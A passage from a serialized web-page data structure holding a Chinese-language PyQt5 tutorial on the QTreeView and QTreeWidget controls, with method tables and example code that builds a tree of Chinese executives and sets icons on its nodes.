\n",{"type":18,"tag":297,"props":42755,"children":42756},{"class":299,"line":4681},[42757],{"type":18,"tag":297,"props":42758,"children":42759},{},[42760],{"type":24,"value":36783},{"type":18,"tag":297,"props":42762,"children":42763},{"class":299,"line":4703},[42764],{"type":18,"tag":297,"props":42765,"children":42766},{},[42767],{"type":24,"value":42768},"        import  random  \n",{"type":18,"tag":297,"props":42770,"children":42771},{"class":299,"line":4711},[42772],{"type":18,"tag":297,"props":42773,"children":42774},{},[42775],{"type":24,"value":42776},"        # 设置数据  \n",{"type":18,"tag":297,"props":42778,"children":42779},{"class":299,"line":4720},[42780],{"type":18,"tag":297,"props":42781,"children":42782},{},[42783],{"type":24,"value":42784},"        for i in range(0,6):  \n",{"type":18,"tag":297,"props":42786,"children":42787},{"class":299,"line":4728},[42788],{"type":18,"tag":297,"props":42789,"children":42790},{},[42791],{"type":24,"value":42792},"            # 一级节点：年级，只设第1列的数据  \n",{"type":18,"tag":297,"props":42794,"children":42795},{"class":299,"line":13515},[42796],{"type":18,"tag":297,"props":42797,"children":42798},{},[42799],{"type":24,"value":42800},"            grade = QtGui.QStandardItem((\"%s年级\")%(i + 1))  \n",{"type":18,"tag":297,"props":42802,"children":42803},{"class":299,"line":13553},[42804],{"type":18,"tag":297,"props":42805,"children":42806},{},[42807],{"type":24,"value":42808},"            model.appendRow(grade)          # 一级节点  \n",{"type":18,"tag":297,"props":42810,"children":42811},{"class":299,"line":13591},[42812],{"type":18,"tag":297,"props":42813,"children":42814},{},[42815],{"type":24,"value":42816},"            for j in range(0,4):  \n",{"type":18,"tag":297,"props":42818,"children":42819},{"class":299,"line":13624},[42820],{"type":18,"tag":297,"props":42821,"children":42822},{},[42823],{"type":24,"value":42824},"                # 二级节点：班级、姓名、分数  \n",{"type":18,"tag":297,"props":42826,"children":42827},{"class":299,"line":13632},[42828],{"type":18,"tag":297,"props":42829,"children":42830},{},[42831],{"type":24,"value":42832},"                itemClass = QtGui.QStandardItem((\"%s班\")%(j+1))  \n",{"type":18,"tag":297,"props":42834,"children":42835},{"class":299,"line":13641},[42836],{"type":18,"tag":297,"props":42837,"children":42838},{},[42839],{"type":24,"value":42840},"                itemName = QtGui.QStandardItem(name[random.randrange(10)])  \n",{"type":18,"tag":297,"props":42842,"children":42843},{"class":299,"line":13724},[42844],{"type":18,"tag":297,"props":42845,"children":42846},{},[42847],{"type":24,"value":42848},"                itemScore = QtGui.QStandardItem(str(score[random.randrange(10)]))  \n",{"type":18,"tag":297,"props":42850,"children":42851},{"class":299,"line":13732},[42852],{"type":18,"tag":297,"props":42853,"children":42854},{},[42855],{"type":24,"value":42856},"                # 将二级节点添加到一级节点上  \n",{"type":18,"tag":297,"props":42858,"children":42859},{"class":299,"line":13786},[42860],{"type":18,"tag":297,"props":42861,"children":42862},{},[42863],{"type":24,"value":42864},"                grade.appendRow([QtGui.QStandardItem(\"\"),itemClass,itemName,itemScore])  \n",{"type":18,"tag":297,"props":42866,"children":42867},{"class":299,"line":13794},[42868],{"type":18,"tag":297,"props":42869,"children":42870},{},[42871],{"type":24,"value":42872},"        self.treeView.setModel(model)          # 为TreeVIew设置数据模型  \n",{"type":18,"tag":297,"props":42874,"children":42875},{"class":299,"line":13803},[42876],{"type":18,"tag":297,"props":42877,"children":42878},{},[42879],{"type":24,"value":36783},{"type":18,"tag":297,"props":42881,"children":42882},{"class":299,"line":13845},[42883],{"type":18,"tag":297,"props":42884,"children":42885},{},[42886],{"type":24,"value":42384},{"type":18,"tag":297,"props":42888,"children":42889},{"class":299,"line":13887},[42890],{"type":18,"tag":297,"props":42891,"children":42892},{},[42893],{"type":24,"value":42392},{"type":18,"tag":297,"props":42895,"children":42896},{"class":299,"line":13927},[42897],{"type":18,"tag":297,"props":42898,"children":42899},{},[42900],{"type":24,"value":42400},{"type":18,"tag":297,"props":42902,"children":42903},{"class":299,"line":13943},[42904],{"type":18,"tag":297,"props":42905,"children":42906},{},[42907],{"type":24,"value":36783},{"type":18,"tag":297,"props":42909,"children":42910},{"class":299,"line":15315},[42911],{"type":18,"tag":297,"props":42912,"children":42913},{},[42914],{"type":24,"value":42415},{"type":18,"tag":297,"props":42916,"children":42917},{"class":299,"line":15331},[42918],{"type":18,"tag":297,"props":42919,"children":42920},{},[42921],{"type":24,"value":42423},{"type":18,"tag":297,"props":42923,"children":42924},{"class":299,"line":15347},[42925],{"type":18,"tag":297,"props":42926,"children":42927},{},[42928],{"type":24,"value":42431},{"type":18,"tag":297,"props":42930,"children":42931},{"class":299,"line":42458},[42932],{"type":18,"tag":297,"props":42933,"children":42934},{},[42935],{"type":24,"value":42439},{"type":18,"tag":297,"props":42937,"children":42938},{"class":299,"line":42467},[42939],{"type":18,"tag":297,"props":42940,"children":42941},{},[42942],{"type":24,"value":42943},"   MainWindow = QtWidgets.QMainWindow()      # 创建窗体对象  \n",{"type":18,"tag":297,"props":42945,"children":42946},{"class":299,"line":42476},[42947],{"type":18,"tag":297,"props":42948,"children":42949},{},[42950],{"type":24,"value":42951},"   ui = Ui_MainWindow()              # 创建PyQt设计的窗体对象  \n",{"type":18,"tag":297,"props":42953,"children":42955},{"class":299,"line":42954},49,[42956],{"type":18,"tag":297,"props":42957,"children":42958},{},[42959],{"type":24,"value":42960},"   ui.setupUi(MainWindow)            # 调用PyQt窗体的方法对窗体对象进行初始化设置  \n",{"type":18,"tag":297,"props":42962,"children":42964},{"class":299,"line":42963},50,[42965],{"type":18,"tag":297,"props":42966,"children":42967},{},[42968],{"type":24,"value":42969},"   MainWindow.show()                 # 显示窗体  \n",{"type":18,"tag":297,"props":42971,"children":42973},{"class":299,"line":42972},51,[42974],{"type":18,"tag":297,"props":42975,"children":42976},{},[42977],{"type":24,"value":42978},"   sys.exit(app.exec_())             # 程序关闭时退出进程\n",{"type":18,"tag":34,"props":42980,"children":42981},{},[42982],{"type":24,"value":42983},"运行程序，展开年级节点，效果如图所示。",{"type":18,"tag":34,"props":42985,"children":42986},{},[42987],{"type":18,"tag":54,"props":42988,"children":42991},{"alt":42989,"src":42990},"Pasted image 20250903160241","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250903160241.png",[],{"type":18,"tag":19,"props":42993,"children":42995},{"id":42994},"_2treewidget树控件",[42996,42998,43003],{"type":24,"value":42997},"2  ",{"type":18,"tag":74,"props":42999,"children":43001},{"className":43000},[],[43002],{"type":24,"value":41455},{"type":24,"value":43004},"：树控件",{"type":18,"tag":121,"props":43006,"children":43007},{},[],{"type":18,"tag":34,"props":43009,"children":43010},{},[43011,43016,43018,43024,43026,43032],{"type":18,"tag":74,"props":43012,"children":43014},{"className":43013},[],[43015],{"type":24,"value":41455},{"type":24,"value":43017},"树控件对应PyQt5中的",{"type":18,"tag":74,"props":43019,"children":43021},{"className":43020},[],[43022],{"type":24,"value":43023},"QTreeWidget",{"type":24,"value":43025},"类，它提供了一个使用预定义树模型的树视图，它的每一个树节点都是一个",{"type":18,"tag":74,"props":43027,"children":43029},{"className":43028},[],[43030],{"type":24,"value":43031},"QTreeWidgetItem",{"type":24,"value":111},{"type":18,"tag":34,"props":43034,"children":43035},{},[43036,43038,43043,43045,43050,43052,43057],{"type":24,"value":43037},"由于",{"type":18,"tag":74,"props":43039,"children":43041},{"className":43040},[],[43042],{"type":24,"value":43023},{"type":24,"value":43044},"类继承自",{"type":18,"tag":74,"props":43046,"children":43048},{"className":43047},[],[43049],{"type":24,"value":41489},{"type":24,"value":43051},"，因此它具有",{"type":18,"tag":74,"props":43053,"children":43055},{"className":43054},[],[43056],{"type":24,"value":41489},{"type":24,"value":43058},"的所有公共方法。另外，它还提供了一些自身特有的方法，如表所示。",{"type":18,"tag":431,"props":43060,"children":43061},{},[43062,43082],{"type":18,"tag":435,"props":43063,"children":43064},{},[43065],{"type":18,"tag":439,"props":43066,"children":43067},{},[43068,43075],{"type":18,"tag":443,"props":43069,"children":43070},{},[43071],{"type":18,"tag":105,"props":43072,"children":43073},{},[43074],{"type":24,"value":41518},{"type":18,"tag":443,"props":43076,"children":43077},{},[43078],{"type":18,"tag":105,"props":43079,"children":43080},{},[43081],{"type":24,"value":41526},{"type":18,"tag":459,"props":43083,"children":43084},{},[43085,43098,43111,43124,43137,43150],{"type":18,"tag":439,"props":43086,"children":43087},{},[43088,43093],{"type":18,"tag":466,"props":43089,"children":43090},{},[43091],{"type":24,"value":43092},"addTopLevelItem()",{"type":18,"tag":466,"props":43094,"children":43095},{},[43096],{"type":24,"value":43097},"添加顶级节点",{"type":18,"tag":439,"props":43099,"children":43100},{},[43101,43106],{"type":18,"tag":466,"props":43102,"children":43103},{},[43104],{"type":24,"value":43105},"insertTopLevelItems()",{"type":18,"tag":466,"props":43107,"children":43108},{},[43109],{"type":24,"value":43110},"在树的顶层索引中插入节点",{"type":18,"tag":439,"props":43112,"children":43113},{},[43114,43119],{"type":18,"tag":466,"props":43115,"children":43116},{},[43117],{"type":24,"value":43118},"invisibleRootItem()",{"type":18,"tag":466,"props":43120,"children":43121},{},[43122],{"type":24,"value":43123},"获取树控件中不可见的根选项",{"type":18,"tag":439,"props":43125,"children":43126},{},[43127,43132],{"type":18,"tag":466,"props":43128,"children":43129},{},[43130],{"type":24,"value":43131},"setColumnCount()",{"type":18,"tag":466,"props":43133,"children":43134},{},[43135],{"type":24,"value":43136},"设置要显示的列数",{"type":18,"tag":439,"props":43138,"children":43139},{},[43140,43145],{"type":18,"tag":466,"props":43141,"children":43142},{},[43143],{"type":24,"value":43144},"setColumnWidth()",{"type":18,"tag":466,"props":43146,"children":43147},{},[43148],{"type":24,"value":43149},"设置列的宽度",{"type":18,"tag":439,"props":43151,"children":43152},{},[43153,43158],{"type":18,"tag":466,"props":43154,"children":43155},{},[43156],{"type":24,"value":43157},"selectedItems()",{"type":18,"tag":466,"props":43159,"children":43160},{},[43161],{"type":24,"value":43162},"获取选中的树节点",{"type":18,"tag":34,"props":43164,"children":43165},{},[43166,43171,43173,43178],{"type":18,"tag":74,"props":43167,"children":43169},{"className":43168},[],[43170],{"type":24,"value":43031},{"type":24,"value":43172},"类表示",{"type":18,"tag":74,"props":43174,"children":43176},{"className":43175},[],[43177],{"type":24,"value":43023},{"type":24,"value":43179},"中的树节点项，该类的常用方法如表所示。",{"type":18,"tag":431,"props":43181,"children":43182},{},[43183,43203],{"type":18,"tag":435,"props":43184,"children":43185},{},[43186],{"type":18,"tag":439,"props":43187,"children":43188},{},[43189,43196],{"type":18,"tag":443,"props":43190,"children":43191},{},[43192],{"type":18,"tag":105,"props":43193,"children":43194},{},[43195],{"type":24,"value":41518},{"type":18,"tag":443,"props":43197,"children":43198},{},[43199],{"type":18,"tag":105,"props":43200,"children":43201},{},[43202],{"type":24,"value":41526},{"type":18,"tag":459,"props":43204,"children":43205},{},[43206,43219,43232,43261,43274],{"type":18,"tag":439,"props":43207,"children":43208},{},[43209,43214],{"type":18,"tag":466,"props":43210,"children":43211},{},[43212],{"type":24,"value":43213},"addChild()",{"type":18,"tag":466,"props":43215,"children":43216},{},[43217],{"type":24,"value":43218},"添加子节点",{"type":18,"tag":439,"props":43220,"children":43221},{},[43222,43227],{"type":18,"tag":466,"props":43223,"children":43224},{},[43225],{"type":24,"value":43226},"setText()",{"type":18,"tag":466,"props":43228,"children":43229},{},[43230],{"type":24,"value":43231},"设置节点的文本",{"type":18,"tag":439,"props":43233,"children":43234},{},[43235,43240],{"type":18,"tag":466,"props":43236,"children":43237},{},[43238],{"type":24,"value":43239},"setCheckState()",{"type":18,"tag":466,"props":43241,"children":43242},{},[43243,43245,43248,43251,43253,43256,43259],{"type":24,"value":43244},"设置指定节点的选中状态，取值如下：",{"type":18,"tag":6882,"props":43246,"children":43247},{},[],{"type":18,"tag":6882,"props":43249,"children":43250},{},[],{"type":24,"value":43252},"◆ Qt.Checked：节点选中",{"type":18,"tag":6882,"props":43254,"children":43255},{},[],{"type":18,"tag":6882,"props":43257,"children":43258},{},[],{"type":24,"value":43260},"◆ Qt.Unchecked：节点未选中",{"type":18,"tag":439,"props":43262,"children":43263},{},[43264,43269],{"type":18,"tag":466,"props":43265,"children":43266},{},[43267],{"type":24,"value":43268},"setIcon()",{"type":18,"tag":466,"props":43270,"children":43271},{},[43272],{"type":24,"value":43273},"为节点设置图标",{"type":18,"tag":439,"props":43275,"children":43276},{},[43277,43282],{"type":18,"tag":466,"props":43278,"children":43279},{},[43280],{"type":24,"value":43281},"text()",{"type":18,"tag":466,"props":43283,"children":43284},{},[43285],{"type":24,"value":43286},"获取节点的文本",{"type":18,"tag":34,"props":43288,"children":43289},{},[43290,43292,43297],{"type":24,"value":43291},"下面对",{"type":18,"tag":74,"props":43293,"children":43295},{"className":43294},[],[43296],{"type":24,"value":41455},{"type":24,"value":43298},"控件的常见用法进行讲解。",{"type":18,"tag":337,"props":43300,"children":43302},{"id":43301},"_1使用treewidget控件显示树结构",[43303,43305,43310],{"type":24,"value":43304},"1）使用",{"type":18,"tag":74,"props":43306,"children":43308},{"className":43307},[],[43309],{"type":24,"value":41455},{"type":24,"value":43311},"控件显示树结构",{"type":18,"tag":34,"props":43313,"children":43314},{},[43315,43316,43321,43323,43328,43330,43336],{"type":24,"value":35582},{"type":18,"tag":74,"props":43317,"children":43319},{"className":43318},[],[43320],{"type":24,"value":41455},{"type":24,"value":43322},"控件显示树结构主要用到",{"type":18,"tag":74,"props":43324,"children":43326},{"className":43325},[],[43327],{"type":24,"value":43031},{"type":24,"value":43329},"类，该类表示标准树节点，通过其",{"type":18,"tag":74,"props":43331,"children":43333},{"className":43332},[],[43334],{"type":24,"value":43335},"setText()方法",{"type":24,"value":43337},"可以设置树节点的文本。",{"type":18,"tag":34,"props":43339,"children":43340},{},[43341],{"type":18,"tag":105,"props":43342,"children":43343},{},[43344,43345,43350],{"type":24,"value":42535},{"type":18,"tag":74,"props":43346,"children":43348},{"className":43347},[],[43349],{"type":24,"value":41455},{"type":24,"value":43311},{"type":18,"tag":34,"props":43352,"children":43353},{},[43354,43355,43360,43362,43368,43370,43375,43377,43382,43384,43389],{"type":24,"value":42547},{"type":18,"tag":74,"props":43356,"children":43358},{"className":43357},[],[43359],{"type":24,"value":41455},{"type":24,"value":43361},"控件，然后保存为",{"type":18,"tag":74,"props":43363,"children":43365},{"className":43364},[],[43366],{"type":24,"value":43367},".ui",{"type":24,"value":43369},"文件，并使用Pyuic工具将其转换为",{"type":18,"tag":74,"props":43371,"children":43373},{"className":43372},[],[43374],{"type":24,"value":42560},{"type":24,"value":43376},"文件，在",{"type":18,"tag":74,"props":43378,"children":43380},{"className":43379},[],[43381],{"type":24,"value":42560},{"type":24,"value":43383},"文件中，通过创建",{"type":18,"tag":74,"props":43385,"children":43387},{"className":43386},[],[43388],{"type":24,"value":43031},{"type":24,"value":43390},"对象为树控件设置树节点。代码如下：",{"type":18,"tag":287,"props":43392,"children":43394},{"className":28710,"code":43393,"language":28712,"meta":8,"style":8},"from PyQt5 import QtCore, QtGui, QtWidgets  \nfrom PyQt5.QtWidgets import QTreeWidgetItem  \n  \nclass Ui_MainWindow(object):  \n  \n    def setupUi(self, MainWindow):  \n        MainWindow.setObjectName(\"MainWindow\")  \n        MainWindow.resize(240, 150)  \n        self.centralwidget = QtWidgets.QWidget(MainWindow)  \n        self.centralwidget.setObjectName(\"centralwidget\")  \n        self.treeWidget = QtWidgets.QTreeWidget(self.centralwidget)  \n        self.treeWidget.setGeometry(QtCore.QRect(0, 0, 240, 150))  \n        self.treeWidget.setObjectName(\"treeWidget\")  \n        self.treeWidget.setColumnCount(2)  # 设置树结构中的列数  \n        self.treeWidget.setHeaderLabels(['姓名', '职务'])  # 设置列标题名  \n        root = QTreeWidgetItem(self.treeWidget)  # 创建节点  \n        root.setText(0, '组织结构')  # 设置顶级节点文本  \n        # 定义字典，存储树结构中显示的数据  \n        dict = {'任正非': '华为董事长', '马云': '阿里巴巴创始人', '马化腾': '腾讯CEO', '李彦宏': '百度CEO',  \n                '董明珠': '格力董事长'}  \n        for key, value in dict.items():  # 遍历字典  \n            child = QTreeWidgetItem(root)  # 创建子节点  \n            child.setText(0, key)  # 设置第一列的值  \n            child.setText(1, value)  # 设置第二列的值  \n        self.treeWidget.addTopLevelItem(root)  # 将创建的树节点添加到树控件中  \n        self.treeWidget.expandAll()  # 展开所有树节点  \n        MainWindow.setCentralWidget(self.centralwidget)  \n        self.retranslateUi(MainWindow)  \n        QtCore.QMetaObject.connectSlotsByName(MainWindow)  \n  \n    def retranslateUi(self, MainWindow):  \n        _translate = QtCore.QCoreApplication.translate  \n        MainWindow.setWindowTitle(_translate(\"MainWindow\", \"MainWindow\"))  \n  \nimport sys  \n# 程序入口，程序从此处启动PyQt设计的窗体  \nif __name__ == '__main__':  \n    app = QtWidgets.QApplication(sys.argv)  \n    MainWindow = QtWidgets.QMainWindow()  # 创建窗体对象  \n    ui = Ui_MainWindow()    # 创建PyQt设计的窗体对象  \n    ui.setupUi(MainWindow)  # 调用PyQt窗体的方法对窗体对象进行初始化设置  \n    MainWindow.show()       # 显示窗体  \n    sys.exit(app.exec_())   # 程序关闭时退出进程\n",[43395],{"type":18,"tag":74,"props":43396,"children":43397},{"__ignoreMap":8},[43398,43405,43413,43420,43427,43434,43441,43448,43456,43463,43470,43478,43486,43494,43502,43510,43518,43526,43534,43542,43550,43558,43566,43574,43582,43590,43598,43605,43612,43619,43626,43633,43640,43647,43654,43661,43668,43675,43683,43691,43699,43707,43715],{"type":18,"tag":297,"props":43399,"children":43400},{"class":299,"line":300},[43401],{"type":18,"tag":297,"props":43402,"children":43403},{},[43404],{"type":24,"value":42107},{"type":18,"tag":297,"props":43406,"children":43407},{"class":299,"line":657},[43408],{"type":18,"tag":297,"props":43409,"children":43410},{},[43411],{"type":24,"value":43412},"from PyQt5.QtWidgets import QTreeWidgetItem  \n",{"type":18,"tag":297,"props":43414,"children":43415},{"class":299,"line":662},[43416],{"type":18,"tag":297,"props":43417,"children":43418},{},[43419],{"type":24,"value":36783},{"type":18,"tag":297,"props":43421,"children":43422},{"class":299,"line":799},[43423],{"type":18,"tag":297,"props":43424,"children":43425},{},[43426],{"type":24,"value":42122},{"type":18,"tag":297,"props":43428,"children":43429},{"class":299,"line":808},[43430],{"type":18,"tag":297,"props":43431,"children":43432},{},[43433],{"type":24,"value":36783},{"type":18,"tag":297,"props":43435,"children":43436},{"class":299,"line":817},[43437],{"type":18,"tag":297,"props":43438,"children":43439},{},[43440],{"type":24,"value":42137},{"type":18,"tag":297,"props":43442,"children":43443},{"class":299,"line":826},[43444],{"type":18,"tag":297,"props":43445,"children":43446},{},[43447],{"type":24,"value":42145},{"type":18,"tag":297,"props":43449,"children":43450},{"class":299,"line":4524},[43451],{"type":18,"tag":297,"props":43452,"children":43453},{},[43454],{"type":24,"value":43455},"        MainWindow.resize(240, 150)  \n",{"type":18,"tag":297,"props":43457,"children":43458},{"class":299,"line":4533},[43459],{"type":18,"tag":297,"props":43460,"children":43461},{},[43462],{"type":24,"value":42161},{"type":18,"tag":297,"props":43464,"children":43465},{"class":299,"line":4546},[43466],{"type":18,"tag":297,"props":43467,"children":43468},{},[43469],{"type":24,"value":42169},{"type":18,"tag":297,"props":43471,"children":43472},{"class":299,"line":4555},[43473],{"type":18,"tag":297,"props":43474,"children":43475},{},[43476],{"type":24,"value":43477},"        self.treeWidget = QtWidgets.QTreeWidget(self.centralwidget)  \n",{"type":18,"tag":297,"props":43479,"children":43480},{"class":299,"line":4568},[43481],{"type":18,"tag":297,"props":43482,"children":43483},{},[43484],{"type":24,"value":43485},"        self.treeWidget.setGeometry(QtCore.QRect(0, 0, 240, 150))  \n",{"type":18,"tag":297,"props":43487,"children":43488},{"class":299,"line":4577},[43489],{"type":18,"tag":297,"props":43490,"children":43491},{},[43492],{"type":24,"value":43493},"        self.treeWidget.setObjectName(\"treeWidget\")  \n",{"type":18,"tag":297,"props":43495,"children":43496},{"class":299,"line":4590},[43497],{"type":18,"tag":297,"props":43498,"children":43499},{},[43500],{"type":24,"value":43501},"        self.treeWidget.setColumnCount(2)  # 设置树结构中的列数  \n",{"type":18,"tag":297,"props":43503,"children":43504},{"class":299,"line":4599},[43505],{"type":18,"tag":297,"props":43506,"children":43507},{},[43508],{"type":24,"value":43509},"        self.treeWidget.setHeaderLabels(['姓名', '职务'])  # 设置列标题名  \n",{"type":18,"tag":297,"props":43511,"children":43512},{"class":299,"line":4607},[43513],{"type":18,"tag":297,"props":43514,"children":43515},{},[43516],{"type":24,"value":43517},"        root = QTreeWidgetItem(self.treeWidget)  # 创建节点  \n",{"type":18,"tag":297,"props":43519,"children":43520},{"class":299,"line":4616},[43521],{"type":18,"tag":297,"props":43522,"children":43523},{},[43524],{"type":24,"value":43525},"        root.setText(0, '组织结构')  # 设置顶级节点文本  \n",{"type":18,"tag":297,"props":43527,"children":43528},{"class":299,"line":4624},[43529],{"type":18,"tag":297,"props":43530,"children":43531},{},[43532],{"type":24,"value":43533},"        # 定义字典，存储树结构中显示的数据  \n",{"type":18,"tag":297,"props":43535,"children":43536},{"class":299,"line":4633},[43537],{"type":18,"tag":297,"props":43538,"children":43539},{},[43540],{"type":24,"value":43541},"        dict = {'任正非': '华为董事长', '马云': '阿里巴巴创始人', '马化腾': '腾讯CEO', '李彦宏': '百度CEO',  \n",{"type":18,"tag":297,"props":43543,"children":43544},{"class":299,"line":4641},[43545],{"type":18,"tag":297,"props":43546,"children":43547},{},[43548],{"type":24,"value":43549},"                '董明珠': '格力董事长'}  \n",{"type":18,"tag":297,"props":43551,"children":43552},{"class":299,"line":4650},[43553],{"type":18,"tag":297,"props":43554,"children":43555},{},[43556],{"type":24,"value":43557},"        for key, value in dict.items():  # 遍历字典  \n",{"type":18,"tag":297,"props":43559,"children":43560},{"class":299,"line":4658},[43561],{"type":18,"tag":297,"props":43562,"children":43563},{},[43564],{"type":24,"value":43565},"            child = QTreeWidgetItem(root)  # 创建子节点  \n",{"type":18,"tag":297,"props":43567,"children":43568},{"class":299,"line":4681},[43569],{"type":18,"tag":297,"props":43570,"children":43571},{},[43572],{"type":24,"value":43573},"            child.setText(0, key)  # 设置第一列的值  \n",{"type":18,"tag":297,"props":43575,"children":43576},{"class":299,"line":4703},[43577],{"type":18,"tag":297,"props":43578,"children":43579},{},[43580],{"type":24,"value":43581},"            child.setText(1, value)  # 设置第二列的值  \n",{"type":18,"tag":297,"props":43583,"children":43584},{"class":299,"line":4711},[43585],{"type":18,"tag":297,"props":43586,"children":43587},{},[43588],{"type":24,"value":43589},"        self.treeWidget.addTopLevelItem(root)  # 将创建的树节点添加到树控件中  \n",{"type":18,"tag":297,"props":43591,"children":43592},{"class":299,"line":4720},[43593],{"type":18,"tag":297,"props":43594,"children":43595},{},[43596],{"type":24,"value":43597},"        self.treeWidget.expandAll()  # 展开所有树节点  \n",{"type":18,"tag":297,"props":43599,"children":43600},{"class":299,"line":4728},[43601],{"type":18,"tag":297,"props":43602,"children":43603},{},[43604],{"type":24,"value":42337},{"type":18,"tag":297,"props":43606,"children":43607},{"class":299,"line":13515},[43608],{"type":18,"tag":297,"props":43609,"children":43610},{},[43611],{"type":24,"value":42345},{"type":18,"tag":297,"props":43613,"children":43614},{"class":299,"line":13553},[43615],{"type":18,"tag":297,"props":43616,"children":43617},{},[43618],{"type":24,"value":42353},{"type":18,"tag":297,"props":43620,"children":43621},{"class":299,"line":13591},[43622],{"type":18,"tag":297,"props":43623,"children":43624},{},[43625],{"type":24,"value":36783},{"type":18,"tag":297,"props":43627,"children":43628},{"class":299,"line":13624},[43629],{"type":18,"tag":297,"props":43630,"children":43631},{},[43632],{"type":24,"value":42384},{"type":18,"tag":297,"props":43634,"children":43635},{"class":299,"line":13632},[43636],{"type":18,"tag":297,"props":43637,"children":43638},{},[43639],{"type":24,"value":42392},{"type":18,"tag":297,"props":43641,"children":43642},{"class":299,"line":13641},[43643],{"type":18,"tag":297,"props":43644,"children":43645},{},[43646],{"type":24,"value":42400},{"type":18,"tag":297,"props":43648,"children":43649},{"class":299,"line":13724},[43650],{"type":18,"tag":297,"props":43651,"children":43652},{},[43653],{"type":24,"value":36783},{"type":18,"tag":297,"props":43655,"children":43656},{"class":299,"line":13732},[43657],{"type":18,"tag":297,"props":43658,"children":43659},{},[43660],{"type":24,"value":42415},{"type":18,"tag":297,"props":43662,"children":43663},{"class":299,"line":13786},[43664],{"type":18,"tag":297,"props":43665,"children":43666},{},[43667],{"type":24,"value":42423},{"type":18,"tag":297,"props":43669,"children":43670},{"class":299,"line":13794},[43671],{"type":18,"tag":297,"props":43672,"children":43673},{},[43674],{"type":24,"value":42431},{"type":18,"tag":297,"props":43676,"children":43677},{"class":299,"line":13803},[43678],{"type":18,"tag":297,"props":43679,"children":43680},{},[43681],{"type":24,"value":43682},"    app = QtWidgets.QApplication(sys.argv)  \n",{"type":18,"tag":297,"props":43684,"children":43685},{"class":299,"line":13845},[43686],{"type":18,"tag":297,"props":43687,"children":43688},{},[43689],{"type":24,"value":43690},"    MainWindow = QtWidgets.QMainWindow()  # 创建窗体对象  \n",{"type":18,"tag":297,"props":43692,"children":43693},{"class":299,"line":13887},[43694],{"type":18,"tag":297,"props":43695,"children":43696},{},[43697],{"type":24,"value":43698},"    ui = Ui_MainWindow()    # 创建PyQt设计的窗体对象  \n",{"type":18,"tag":297,"props":43700,"children":43701},{"class":299,"line":13927},[43702],{"type":18,"tag":297,"props":43703,"children":43704},{},[43705],{"type":24,"value":43706},"    ui.setupUi(MainWindow)  # 调用PyQt窗体的方法对窗体对象进行初始化设置  \n",{"type":18,"tag":297,"props":43708,"children":43709},{"class":299,"line":13943},[43710],{"type":18,"tag":297,"props":43711,"children":43712},{},[43713],{"type":24,"value":43714},"    MainWindow.show()       # 显示窗体  \n",{"type":18,"tag":297,"props":43716,"children":43717},{"class":299,"line":15315},[43718],{"type":18,"tag":297,"props":43719,"children":43720},{},[43721],{"type":24,"value":43722},"    sys.exit(app.exec_())   # 程序关闭时退出进程\n",{"type":18,"tag":34,"props":43724,"children":43725},{},[43726],{"type":24,"value":42487},{"type":18,"tag":34,"props":43728,"children":43729},{},[43730],{"type":18,"tag":54,"props":43731,"children":43734},{"alt":43732,"src":43733},"Pasted image 20250903163236","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250903163236.png",[],{"type":18,"tag":337,"props":43736,"children":43738},{"id":43737},"_2为节点设置图标",[43739],{"type":24,"value":43740},"2）为节点设置图标",{"type":18,"tag":34,"props":43742,"children":43743},{},[43744,43746,43751,43753,43759],{"type":24,"value":43745},"为节点设置图标主要用到了",{"type":18,"tag":74,"props":43747,"children":43749},{"className":43748},[],[43750],{"type":24,"value":43031},{"type":24,"value":43752},"类的",{"type":18,"tag":74,"props":43754,"children":43756},{"className":43755},[],[43757],{"type":24,"value":43758},"setIcon()方法",{"type":24,"value":43760},"。例如，为上述实例中的第一列的每个企业家姓名前面设置其对应公司的图标，代码如下：",{"type":18,"tag":287,"props":43762,"children":43764},{"className":28710,"code":43763,"language":28712,"meta":8,"style":8},"# 为节点设置图标  \nif key == '任正非':  \n    child.setIcon(0, QtGui.QIcon('图标\u002F01.png'))  \nelif key == '马云':  \n    child.setIcon(0, QtGui.QIcon('图标\u002F02.png'))  \nelif key == '马化腾':  \n    child.setIcon(0, QtGui.QIcon('图标\u002F03.png'))  \nelif key == '李彦宏':  \n    child.setIcon(0, QtGui.QIcon('图标\u002F04.png'))  \nelif key == '董明珠':  \n    child.setIcon(0, QtGui.QIcon('图标\u002F05.png'))\n",[43765],{"type":18,"tag":74,"props":43766,"children":43767},{"__ignoreMap":8},[43768,43776,43784,43792,43800,43808,43816,43824,43832,43840,43848],{"type":18,"tag":297,"props":43769,"children":43770},{"class":299,"line":300},[43771],{"type":18,"tag":297,"props":43772,"children":43773},{},[43774],{"type":24,"value":43775},"# 为节点设置图标  \n",{"type":18,"tag":297,"props":43777,"children":43778},{"class":299,"line":657},[43779],{"type":18,"tag":297,"props":43780,"children":43781},{},[43782],{"type":24,"value":43783},"if key == '任正非':  \n",{"type":18,"tag":297,"props":43785,"children":43786},{"class":299,"line":662},[43787],{"type":18,"tag":297,"props":43788,"children":43789},{},[43790],{"type":24,"value":43791},"    child.setIcon(0, QtGui.QIcon('图标\u002F01.png'))  \n",{"type":18,"tag":297,"props":43793,"children":43794},{"class":299,"line":799},[43795],{"type":18,"tag":297,"props":43796,"children":43797},{},[43798],{"type":24,"value":43799},"elif key == '马云':  \n",{"type":18,"tag":297,"props":43801,"children":43802},{"class":299,"line":808},[43803],{"type":18,"tag":297,"props":43804,"children":43805},{},[43806],{"type":24,"value":43807},"    child.setIcon(0, QtGui.QIcon('图标\u002F02.png'))  \n",{"type":18,"tag":297,"props":43809,"children":43810},{"class":299,"line":817},[43811],{"type":18,"tag":297,"props":43812,"children":43813},{},[43814],{"type":24,"value":43815},"elif key == '马化腾':  \n",{"type":18,"tag":297,"props":43817,"children":43818},{"class":299,"line":826},[43819],{"type":18,"tag":297,"props":43820,"children":43821},{},[43822],{"type":24,"value":43823},"    child.setIcon(0, QtGui.QIcon('图标\u002F03.png'))  \n",{"type":18,"tag":297,"props":43825,"children":43826},{"class":299,"line":4524},[43827],{"type":18,"tag":297,"props":43828,"children":43829},{},[43830],{"type":24,"value":43831},"elif key == '李彦宏':  \n",{"type":18,"tag":297,"props":43833,"children":43834},{"class":299,"line":4533},[43835],{"type":18,"tag":297,"props":43836,"children":43837},{},[43838],{"type":24,"value":43839},"    child.setIcon(0, QtGui.QIcon('图标\u002F04.png'))  \n",{"type":18,"tag":297,"props":43841,"children":43842},{"class":299,"line":4546},[43843],{"type":18,"tag":297,"props":43844,"children":43845},{},[43846],{"type":24,"value":43847},"elif key == '董明珠':  